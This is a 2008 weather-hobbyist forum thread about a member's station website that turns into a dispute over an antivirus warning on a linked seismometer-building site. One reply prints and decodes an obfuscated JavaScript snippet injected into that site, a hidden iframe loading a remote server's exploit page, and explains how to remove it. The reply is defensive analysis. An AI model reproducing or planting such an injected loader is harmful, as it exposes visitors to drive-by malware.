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« on: March 25, 2008, 08:38:29 PM »
I've revamped my website and started using php exclusively.  I'm still using VantagePro2 with WeatherLink software, along with some home-brewed PERL scripts and the awesome tnetweather AJAX script.  I've got Boltek/NexStorm lightning data and a homemade seismometer.  I'm also planning on adding a few more ag weather sensors in the coming weeks. 

Stop by at arlingtonweather.net.  Comments and suggestions are welcomed!

Scott
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #1 on: March 25, 2008, 08:46:01 PM »
I've revamped my website and started using php exclusively.  I'm still using VantagePro2 with WeatherLink software, along with some home-brewed PERL scripts and the awesome tnetweather AJAX script.  I've got Boltek/NexStorm lightning data and a homemade seismometer.  I'm also planning on adding a few more ag weather sensors in the coming weeks. 

Stop by at arlingtonweather.net.  Comments and suggestions are welcomed!

Scott
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I've been watching the progress Scott, looks great!!!
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #2 on: March 25, 2008, 08:56:32 PM »
Very nice Scott, I really like your banner too, nice work!

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #3 on: March 26, 2008, 08:35:30 AM »
Exactly how did you go about making your homemade seismometer?



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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #4 on: March 26, 2008, 09:46:51 AM »
Thanks for the nice comments!

Exactly how did you go about making your homemade seismometer?


Hi Anthony...

I modeled it after the sent to schools... www.jclahr.com/science/psn/as1/.
There's a lot more info, including the QM-1.0 long period electronics that you can buy, here... www.infiltec.com/seismo/.

In the near future, I hope to put some info and pix on my site.

Scott
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #5 on: March 26, 2008, 03:14:29 PM »
WARNING WARNING WARNING The web site provided by xmas1313 contains a virus. Do not visit this web site. Luckily my anti virus program caught it.

Shame on you providing a link to a web site that contains a virus.



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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #6 on: March 26, 2008, 03:21:21 PM »
Great, now I'm going to have to click on it to see if my antivirus program at work will catch it!  ;)

Ok, no virus alert on my end...

Did you get the alert from just opening the main page, or did you click on a link?
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #7 on: March 26, 2008, 04:49:17 PM »

Great, now I'm going to have to click on it to see if my antivirus program at work will catch it!  ;)

Exactly. Hmm. Who owns that box? Pandora, you say? Hmm. I sure am tempted to open it just to see for myself. :-x

Nah. I'll fight temptation. I had to take my laptop in two weeks ago b/c of a major failure. #-o If anyone else checks the site, let me know what you find out. ;)

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #8 on: March 26, 2008, 04:58:49 PM »
WARNING WARNING WARNING The web site provided by xmas1313 contains a virus. Do not visit this web site. Luckily my anti virus program caught it.

Shame on you providing a link to a web site that contains a virus.



The only thing that I'm aware of that your virus check might be squawking about is Google analytics (which provides web usage stats).  However, there are a lot of other sites that use this, including Google search itself.  I've called up the page at work with McAfee (on a gov't computer) and at home with Norton and I've had no problems.  I've written almost all of the code myself, so I'm not sure where the virus would be coming from.  Any additional info would be appreciated (your virus software, type of browser, etc).

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #9 on: March 26, 2008, 05:22:21 PM »
No problem here; just checked.  Nice site, very nice!  ZoneAlarm Internet Security suite did not mind.  I lay odds it's the google script.  That's why I never added them to my site.

I'd be curious as to the warning message that Anthony got.

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #10 on: March 26, 2008, 05:23:28 PM »
There's three web sites posted in the message. Which site is in question?

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #11 on: March 26, 2008, 06:08:20 PM »
WARNING WARNING WARNING The web site provided by xmas1313 contains a virus. Do not visit this web site. Luckily my anti virus program caught it.

Shame on you providing a link to a web site that contains a virus.



I highly doubt Scott would purposely inject a virus into his site to infect others. Nice job on the site updates and modifications.
« Last Edit: March 26, 2008, 06:10:15 PM by capeweather »

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #12 on: March 26, 2008, 07:02:40 PM »
No virus here.
Nice page Scott.
By the way, I think I might have asked you before but are you, or were you the webmaster of the NWS Jacksonville web page?
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #13 on: March 26, 2008, 09:21:09 PM »
WARNING WARNING WARNING The web site provided by xmas1313 contains a virus. Do not visit this web site. Luckily my anti virus program caught it.

Shame on you providing a link to a web site that contains a virus.



Anthony, I think you need to get your facts straight before saying something like you said above. I can tell you for one thing, Scott would never knowingly do anything of the sort.

I was able to reproduce a warning of a POSSIBLE THREAT, NOT A VIRUS! THERE IS A HUGE DIFFERENCE. Also, I was only able to reproduce that warning using XP SP2 and CA's Spyware application running Firefox. Using IE did not produce it, nor did running 3 other virus / malware apps. Also.... it did not show up on MAC OS X or Linux at all.

You need to be a bit more careful about making accusations in the future.

Edit - It is the jclahr(dot)com site that will produce this only under certain conditions that I can see.
« Last Edit: March 26, 2008, 09:24:47 PM by edpnjax »
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #14 on: March 26, 2008, 10:22:32 PM »

Anthony, I think you need to get your facts straight before saying something like you said above. I can tell you for one thing, Scott would never knowingly do anything of the sort.

I was able to reproduce a warning of a POSSIBLE THREAT, NOT A VIRUS! THERE IS A HUGE DIFFERENCE. Also, I was only able to reproduce that warning using XP SP2 and CA's Spyware application running Firefox. Using IE did not produce it, nor did running 3 other virus / malware apps. Also.... it did not show up on MAC OS X or Linux at all.

You need to be a bit more careful about making accusations in the future.

Edit - It is the jclahr(dot)com site that will produce this only under certain conditions that I can see.

Thanks for looking into this, Emmett (and your support)!  I had a feeling it was probably some pattern that was only picked up by certain apps. 

No virus here.
Nice page Scott.
By the way, I think I might have asked you before but are you, or were you the webmaster of the NWS Jacksonville web page?

Thanks!  Yep, that's me.  I've found that the work on the arlingtonweather site helps me with the NWS one.  In fact, we're going to be shifting to php on the NWS site in the coming months.

Scott


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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #15 on: March 27, 2008, 01:33:45 PM »
WARNING WARNING WARNING The web site provided by xmas1313 contains a virus. Do not visit this web site. Luckily my anti virus program caught it.

Shame on you providing a link to a web site that contains a virus.



What link, what AV software and what was the specific warning message?

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #16 on: March 27, 2008, 09:03:33 PM »

What link, what AV software and what was the specific warning message?

Took two tries but here's what I got with Firefox and Avg at jclahr(dot)com:

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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #17 on: March 27, 2008, 11:09:08 PM »
I'm using AVG Free, and clicked on almost every link on his site, and got no warnings...

Search for virus html/framer.z returns no results...
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #18 on: March 27, 2008, 11:55:07 PM »
I'm using AVG Free, and clicked on almost every link on his site, and got no warnings...

Search for virus html/framer.z returns no results...

Yeah, I could not find anything on the purported virus either.  That along with the fact the page loaded once for me with no problems, makes me think also it is just a false positive on my second visit.

Brings up a topic I've always wondered about.  Someone hacking into our weather websites and putting an infection in them that we did not know about.  Chances are very remote I'm sure, but still.... :-k
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #19 on: March 28, 2008, 08:22:53 AM »
I recieved the threat when I visited the following link posted by xmas1313:

www.jclahr.com/science/psn/as1/

I did not say anything about a vius being on his site.



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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #20 on: March 28, 2008, 11:07:17 AM »
Actually, there is a small JavaScript snippet on the site that is suspicious
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eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%62%34%39%34%34%34%61%64%66%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%35%38%2e%36%35%2e%32%33%32%2e%33%33%2f%67%70%61%63%6b%2f%69%6e%64%65%78%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%33%30%30%30%30%29%2b%27%35%34%61%32%38%65%30%33%65%5c%27%20%77%69%64%74%68%3d%37%35%30%20%68%65%69%67%68%74%3d%34%34%30%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29"));
When (safely) unescaped it shows
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window.status='Done';
document.write('<iframe name="b49444adf" src="%5C%27http://58.65.232.33/gpack/index.php?%27+Math.round%28Math.random%28%29*330000%29+%2754a28e03e%5C%27" style="" none\="" height="440" width="750"></iframe>')
and the server at 58.65.232.33 has a forged DNS entry, so it is likely a drive-by malware injector.

The script appears to have been inserted after the closing </html> on the page as
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</html><script>eval(unescape(...
I'd suggest you do two things:
1) upload a new copy of the page from your local (offline) copy to replace the page on the server.
2) if that doesn't fix the issue (do a view source and see that the script is gone), then contact your webhoster and say you have a malicious javascript appended to the end of your HTML page.
This has happened to me before when the webhoster's webserver was compromised and an unauthorized Apache mod was installed to suffix all pages with the malicious JavaScript.

Fortunately, with Firefox and NoScript, the script never ran on my system .. I was able to examine it without it invoking the downloading IFRAME.

Best regards,
Ken

BTW.. I did internet security for 10+ years and have seen this before :-)

EDIT:  It appears that all pages at http://www.jclahr.com/ have the script after the </html> on them.  The webserver is likely compromised.  You should report it to the webhoster's security team.
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Re: Jacksonville, FL USA (arlingtonweather.net)
« Reply #21 on: March 28, 2008, 01:54:40 PM »
Thanks to all for looking into this.  I will send an email to Mr. Lahr and let him know of the malicious code.  I'm sure he is unaware of this.  There is some very useful info on his site on setting up a home seismometer...which is why I linked to his site.  It's likely I didn't have a problem with the link because I'm mostly using Firefox.

As a side note related to the original purpose of this post  :grin:, I've started an ag weather page at arlingtonweather.net/ag.php, and I've added a 2' air temp sensor.

Scott
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